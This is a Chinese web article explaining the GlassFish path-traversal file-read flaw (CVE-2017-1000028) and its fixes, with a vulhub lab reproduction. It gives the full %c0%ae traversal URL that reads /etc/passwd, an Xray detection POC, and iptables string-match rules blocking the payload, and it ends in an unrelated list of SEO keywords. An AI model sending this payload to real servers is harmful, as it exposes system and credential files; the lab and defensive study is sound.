千家信息网

GlassFish任意文件读取漏洞怎么修复

发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,小编给大家分享一下GlassFish任意文件读取漏洞怎么修复,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!GlassFis
千家信息网最后更新 2025年02月01日GlassFish任意文件读取漏洞怎么修复

小编给大家分享一下GlassFish任意文件读取漏洞怎么修复,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

GlassFish 任意文件读取漏洞

Port : 4848

漏洞原理

glassfish 是一款 java 编写的跨平台的开源的应用服务器。

java语言中会把 %c0%ae解析为 \uC0AE,最后转义为ASCCII字符的.(点)。利用 %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。所以 glassfish 这个 poc 实际上就是../../../../../../../../../../../etc/passwd。

影响版本:

< 4.1.1(不含 4.1.1)

漏洞复现

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub

编译、运行测试环境,本环境超级管理员密码在 docker-compose.yml中设置,默认为 vulhub_default_password,在4848端口利用该密码可以登录管理员账户。

docker-compose up -d

环境运行后,访问 http://your-ip:8080http://your-ip:4848即可查看 web 页面。其中,8080 端口是网站内容,4848 端口是 GlassFish 管理中心。

无需登录,直接访问 https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd,发现已成功读取 /etc/passwd内容:

POC & EXP

如下是 Xray 的 POC,其只穿越了上级目录,检测了版本信息,不涉及敏感信息,但同样也验证了漏洞存在。

name: poc-yaml-glassfish-cve-2017-1000028-lfirules:  - method: GET    path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF    follow_redirects: true    expression: |      response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:")detail:  version: <4.1.0  author: sharecast  links:    - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0

漏洞修复

1. 关闭远程管理关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务

./asadmin change-admin-password ./asadmin disable-secure-admin ./asadmin stop-domain ./asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain

需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在

2. IPtables 规则

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP  iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP  iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP   //该规则无法防御HTTPS SSL方案

3. 禁用 web.xml theme 映射\glassfish5\glassfish\lib\install\applications__admingui\WEB-INF\web.xml

重启 glassfish 后生效

以上是"GlassFish任意文件读取漏洞怎么修复"这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

漏洞 环境 文件 管理 内容 密码 端口 篇文章 服务 登录 信息 服务器 版本 目录 管理员 规则 远程管理 测试 运行 上级 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 应用网络技术提高 在数据库中怎么给表设置列 租车软件开发公司哪家好 苏州高新区对日软件开发公司 杭州丰巢互联网科技有限公司 服务器硬件管理制度 数字贸易与网络安全 如何把字典导入数据库mysql 服务器安全视频 如何利用网络安全交易知识 前端 软件开发哪个好 网络安全及信息化杂志 重庆电商软件开发价钱是多少 数据库的控制技术 洛阳新闻网络安全 员工加班系统数据库设计 服务器拒绝发送离线文件 翁源软件开发商 福州图像处理软件开发 英灵神殿怎么关闭服务器信息 手机上玩神奇宝贝服务器 java连接不同数据库的项目 成都app软件开发需要多少钱 晋城市网络安全职业技能大赛 越南著名网络安全问题 人员数据库的作用是什么 电子商务软件开发服务价钱 网络安全与哪些因素有关 网络安全大会合肥 网络安全风险管理岗位认识
0